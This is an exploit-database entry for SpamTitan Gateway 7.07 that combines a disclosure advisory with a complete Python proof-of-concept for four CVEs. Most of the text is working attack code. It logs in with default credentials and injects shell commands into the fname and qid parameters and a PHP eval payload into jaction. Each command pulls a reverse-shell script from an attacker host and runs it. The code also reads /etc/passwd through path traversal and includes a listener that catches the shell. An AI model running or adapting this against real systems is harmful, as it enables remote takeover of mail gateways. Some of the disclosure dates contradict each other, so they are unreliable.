发布 2020-09-18 漏洞条目

SpamTitan 7.07 – Remote Code Execution (Authenticated)

Exploit Source

# Exploit Title: SpamTitan 7.07 - Remote Code Execution (Authenticated)

# Date: 2020-09-18

# Exploit Author: Felipe Molina (@felmoltor)

# Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/

# Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway

# Version: 7.07

# Tested on: FreeBSD

# CVE : CVE-2020-11699, CVE-2020-11700, CVE-2020-11803, CVE-2020-11804

---[SPUK-2020-09/SpamTitan 7.07 Multiple Authenticated Remote Code

Execution]------------------------------

SECURITY ADVISORY: SPUK-2020-09/SpamTitan 7.07 Multiple

Authenticated Remote Code Execution

Affected Software: SpamTitan Gateway 7.07 (possibly earlier versions)

Vulnerability: Multiple Authenticated Remote Code Execution

CVSSv3: 8.7

(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)

Severity: High

Release Date: 2020-09-18

CVEs: CVE-2020-11699, CVE-2020-11700, CVE-2020-11803,

CVE-2020-11804

I. Background

~~~~~~~~~~~~~

From www.spamtitan.com:

"SpamTitan Gateway is a powerful Anti-Spam appliance that equips network

administrators with extensive tools to control mail flow and protect against

unwanted email and malware."

II. Description

~~~~~~~~~~~~~~~

Multiple authenticated remote code execution (RCE) vulnerabilities were found

on the SpamTitan Gateway 7.07 and probably in pervious versions:

* CVE-2020-11699: Improper validation of the parameter fname on the page

certs-x.php would allow an attacker to execute remote code on the

target server. The user has to be authenticated before interacting with

this page.

* CVE-2020-11700: Improper sanitization of the parameter fname, used on the page

certs-x.php, would allow an attacker to retrieve the contents of

arbitrary files. The user has to be

authenticated before interacting with this page.

* CVE-2020-11803: Improper sanitization of the parameter jaction when

interacting with

the page mailqueue.php could lead to PHP code evaluation server-side,

because the user-provided input is passed directly to the php eval()

function. The user has to be authenticated on the web platform before

interacting with the page.

* CVE-2020-11804: Due to improper sanitization of the parameter qid,

used in the page

mailqueue.php, code injection can occur. The input for this

parameter is provided directly by an authenticated user via an HTTP GET

request.

III. PoC

~~~~~~~~

Use python 3 and install the following modules before executing: requests.

If your IP is 192.168.1.5 and the target SpamTitan server is

spamtitan.example.com, call the PoC like this:

./multirce.py -t spamtitan.example.com -i 192.168.1.5 -m <EXPLOIT

NUMBER> -u <USER> -p <PASSWORD> -U http://192.168.1.5/rev.py

---------------------------------------------

#!/usr/bin/env python

# Author: Felipe Molina (@felmoltor)

# Date: 09/04/2020

# Python Version: 3.7

# Summary: This is PoC for multiple authenticated RCE and Arbitrary File Read

# 0days on SpamTitan 7.07 and previous versions.

# Product URL: https://www.spamtitan.com/

# Product Version: 7.07 and probably previous

import requests

from requests import Timeout

requests.packages.urllib3.disable_warnings()

import os

import threading

from optparse import OptionParser

import socket

import json

import re

from urllib.parse import urlparse

from time import sleep

from base64 import b64decode,b64encode

def myip():

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:

# doesn't even have to be reachable

s.connect(('10.255.255.255', 1))

IP = s.getsockname()[0]

except:

IP = '127.0.0.1'

finally:

s.close()

return IP

def shellServer(ip,port,quiet):

servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

servers.bind((ip, port))

servers.listen(1)

info("Waiting for incoming connection on %s:%s" % (ip,port))

conn, addr = servers.accept()

conn.settimeout(1)

success("Hurray, we got a connection from %s" % addr[0])

prompt =conn.recv(128)

prompt=str(prompt.decode("utf-8")).strip()

command = input(prompt)

while True:

try:

c = "%s\n" % (command)

if (len(c)>0):

conn.sendall(c.encode("utf-8"))

# Quit the console

if command == 'exit':

info("\nClosing connection")

conn.close()

break

else:

completeanswer=""

while True:

answer=None

try:

answer=str((conn.recv(1024)).decode("utf-8"))

completeanswer+=answer

except socket.timeout:

completeanswer.strip()

break

print(completeanswer,end='')

command = input("")

except (KeyboardInterrupt, EOFError):

info("\nClosing connection")

break

# This is an authenticated remote code execution in "certs-x.php". E.g:

def CVE_2020_11699(cookies, target, shellurl):

# Giving time to the maim thread to open the reverse shell listener

sleep(5)

oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python

/tmp/r.py" % (shellurl)

t1 = "%s/certs.php" % target

t2 = "%s/certs-x.php" % target

# get the csrf token value

res1 = requests.get(t1,cookies=cookies,verify=False)

m = re.search("var csrf_token_postdata

=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)

if (m is not None):

csrfguard=m.group(1)

csrftoken=m.group(2)

data = {

"CSRFName":csrfguard,

"CSRFToken":csrftoken,

"jaction":"deletecert",

"fname":"dummy || $(%s)" % oscmd

}

info("Triggering the reverse shell in the target.")

try:

res2 = requests.post(t2,data=data,cookies=cookies,verify=False)

print(res2.text)

except Timeout:

info("Request timed-out. You should have received already

your reverse shell.")

else:

fail("CSRF tokens were not found. POST will fail.")

# This is an arbitrary file read on "certs-x.php"

def CVE_2020_11700(cookies,target,file):

fullpath="../../../..%s" % file

t1 = "%s/certs.php" % target

t2 = "%s/certs-x.php" % target

# get the csrf token value

res1 = requests.get(t1,cookies=cookies,verify=False)

m = re.search("var csrf_token_postdata

=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)

if (m is not None):

csrfguard=m.group(1)

csrftoken=m.group(2)

data = {

"CSRFName":csrfguard,

"CSRFToken":csrftoken,

"jaction":"downloadkey",

"fname":fullpath,

"commonname":"",

"organization":"",

"organizationunit":"",

"city":"",

"state":"",

"country":"",

"csrout":"",

"pkout":"",

"importcert":"",

"importkey":"",

"importchain":""

}

res2 = requests.post(t2,data=data,cookies=cookies,verify=False)

if (res2.status_code == 200):

success("Contents of the file %s" % file)

print(res2.text)

else:

fail("Error obtaining the CSRF guard tokens from the page.")

return False

# This is an authenticated RCE abusing PHP eval function in mailqueue.php

def CVE_2020_11803(cookies, target, shellurl):

# Giving time to the maim thread to open the reverse shell listener

sleep(5)

oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python

/tmp/r.py" % (shellurl)

b64=(b64encode(oscmd.encode("utf-8"))).decode("utf-8")

payload="gotopage+a+\";$b=\"%s\";shell_exec(base64_decode(urldecode($b)));die();$b=\""

% (b64)

t1 = "%s/certs.php" % target

t2 = "%s/mailqueue.php" % target

# get the csrf token value

res1 = requests.get(t1,cookies=cookies,verify=False)

m = re.search("var csrf_token_postdata

=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)

if (m is not None):

csrfguard=m.group(1)

csrftoken=m.group(2)

data = {

"CSRFName":csrfguard,

"CSRFToken":csrftoken,

"jaction":payload,

"activepage":"incoming",

"incoming_count":"0",

"active_count":"0",

"deferred_count":"0",

"hold_count":"0",

"corrupt_count":"0",

"incoming_page":"1",

"active_page":"1",

"deferred_page":"1",

"hold_page":"1",

"corrupt_page":"1",

"incomingrfilter":None,

"incomingfilter":None,

"incoming_option":"hold",

"activerfilter":None,

"activefilter":None,

"active_option":"hold",

"deferredrfilter":None,

"deferredfilter":None,

"deferred_option":"hold",

"holdrfilter":None,

"holdfilter":None,

"hold_option":"release",

"corruptrfilter":None,

"corruptfilter":None,

"corrupt_option":"delete"

}

# We have to pass a string instead of a dict if we don't want

the requests library to convert it to

# an urlencoded data and break our payload

datastr=""

cont=0

for k,v in data.items():

datastr+="%s=%s" % (k,v)

cont+=1

if (cont<len(data)):

datastr+="&"

headers={

"User-Agent":"Mozilla/5.0 (Windows NT 10.0; rv:68.0)

Gecko/20100101 Firefox/68.0",

"Accept":

"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

"Content-Type": "application/x-www-form-urlencoded"

}

try:

res2 =

requests.post(t2,data=datastr,cookies=cookies,headers=headers,verify=False,proxies=proxies)

except Timeout:

info("Request timed-out. You should have received already

your reverse shell.")

else:

fail("CSRF tokens were not found. POST will fail.")

# This is an authenticated RCE abusing qid GET parameter in mailqueue.php

def CVE_2020_11804(cookies, target, shellurl):

# Giving time to the maim thread to open the reverse shell listener

sleep(5)

oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python

/tmp/r.py" % (shellurl)

payload="1;`%s`" % oscmd

t = "%s/mailqueue.php?qid=%s" % (target,payload)

info("Triggering the reverse shell in the target.")

try:

res2 = requests.get(t,cookies=cookies,verify=False)

except Timeout:

info("Request timed-out. You should have received already your

reverse shell.")

# Authenticate to the web platform and get the cookies

def authenticate(target,user,password):

loginurl="%s/login.php" % target

data={

"jaction":"none",

"language":"en_US",

"address":"%s" % user,

"passwd":"%s" % password

}

res = requests.post(loginurl, data=data,allow_redirects =

False,verify=False)

if (res.status_code == 302 and len(res.cookies.items())>0):

return res.cookies

else:

return None

def printmsg(msg,quiet=False,msgtype="i"):

if (not quiet):

if (success):

print("[%s] %s" % (msgtype,msg))

else:

print("[-] %s" % msg)

def info(msg,quiet=False):

printmsg(msg,quiet,msgtype="i")

def success(msg,quiet=False):

printmsg(msg,quiet,msgtype="+")

def fail(msg,quiet=False):

printmsg(msg,quiet,msgtype="-")

def parseoptions():

parser = OptionParser()

parser.add_option("-t", "--target", dest="target",

help="Target SpamTitan URL to attack. E.g.:

https://spamtitan.com/", default=None)

parser.add_option("-m", "--method", dest="method",

help="Exploit number: (1) CVE-2020-11699 [RCE],

(2) CVE-2020-XXXX [RCE], (3) CVE-2020-XXXX2 [RCE], (4) CVE-2020-11700

[File Read]", default=1)

parser.add_option("-u", "--user", dest="user",

help="Username to authenticate with. Default:

admin", default="admin")

parser.add_option("-p", "--password", dest="password",

help="Password to authenticate with. Default:

hiadmin", default="hiadmin")

parser.add_option("-I", "--ip", dest="ip",

help="Local IP where to listen for the reverse

shell. Default: %s" % myip(), default=myip())

parser.add_option("-P", "--port", dest="port",

help="Local Port where to listen for the reverse

shell. Default: 4242", default=4242)

parser.add_option("-U", "--URL", dest="shellurl",

help="HTTP URL path where the reverse shell is

located. Default: http://%s/rev.py" % myip(),

default="http://%s/rev.py" % myip())

parser.add_option("-f", "--filetoread", dest="filtetoread",

help="Full path of the file to read from the

remote server when executing CVE-2020-11700. Default: /etc/passwd",

default="/etc/passwd")

parser.add_option("-q", "--quiet",

action="store_true", dest="quiet", default=False,

help="Shut up script! Just give me the shell.")

return parser.parse_args()

def main():

(options,arguments) = parseoptions()

quiet = options.quiet

target = options.target

ip = options.ip

port = options.port

user = options.user

password = options.password

shellurl = options.shellurl

method = int(options.method)

rfile = options.filtetoread

# Sanitize options

if (target is None):

fail("Error. Specify a target (-t).")

exit(1)

else:

if (not target.startswith("http://") and not

target.startswith("https://")):

target = "http://%s" % target

if (method < 1 or method > 4):

fail("Error. Specify a method from 1 to 4:\n (1)

CVE-2020-11699 [RCE]\n (2) CVE-2020-XXXX [RCE]\n (3) CVE-2020-XXXX2

[RCE]\n (4) CVE-2020-11700 [File Read]")

exit(1)

# Before doing anything, login

cookies = authenticate(target,user,password)

if (cookies is not None):

success("User logged in successfully.")

if (method == 1):

info("Exploiting CVE-2020-11699 to get a reverse shell on

%s:%s" % (ip,port),quiet)

rev_thread = threading.Thread(target=CVE_2020_11699,

args=(cookies,target,shellurl))

rev_thread.start()

# Open the reverse shell listener in this main thread

info("Spawning a reverse shell listener. Wait for it...")

shellServer(options.ip,int(options.port),options.quiet)

elif (method == 2):

info("Exploiting CVE-2020-11803 to get a reverse shell on

%s:%s" % (ip,port),quiet)

rev_thread = threading.Thread(target=CVE_2020_11803,

args=(cookies,target,shellurl))

rev_thread.start()

# Open the reverse shell listener in this main thread

info("Spawning a reverse shell listener. Wait for it...")

shellServer(options.ip,int(options.port),options.quiet)

elif (method == 3):

info("Exploiting CVE-2020-11804 to get a reverse shell on

%s:%s" % (ip,port),quiet)

rev_thread = threading.Thread(target=CVE_2020_11804,

args=(cookies,target,shellurl))

rev_thread.start()

# Open the reverse shell listener in this main thread

info("Spawning a reverse shell listener. Wait for it...")

shellServer(options.ip,int(options.port),options.quiet)

elif (method == 4):

info("Reading file '%s' by abusing CVE-2020-11700." % rfile, quiet)

CVE_2020_11700(cookies,target,rfile)

else:

fail("Error authenticating. Are you providing valid credentials?")

exit(2)

exit(0)

main()

---------------------------------------------

III. Impact

~~~~~~~~~~~

Loss of confidentiality, integrity and availability of several files in the

target server, as well as loss of availability of several services running

in the SpamTitan.

Confidentiality of critical system files, such as /etc/passwd or /etc/pwd.db

would be highly impacted.

IV. Disclosure

~~~~~~~~~~~~~~

Reported By: Felipe Molina de la Torre

Vendor Informed: 2020-04-17

Patch Release Date: 2019-05-26

Advisory Release Date: 2019-09-18

V. References

~~~~~~~~~~~~~

* https://sensepost.com/blog/2020/clash-of-the-spamtitan/

* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11699

* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11700

* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11803

* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11804

---------------------------------[SPUK-2020-09/SpamTitan 7.07 Multiple

Authenticated Remote Code Execution]---

作者: Felipe Molina
日期: 2020-09-18
类别: webapps
平台: multiple

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